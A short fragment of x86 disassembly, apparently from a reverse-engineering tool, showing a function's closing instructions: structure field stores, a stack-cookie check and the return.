mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401340
mov esp, ebp
pop ebp
ret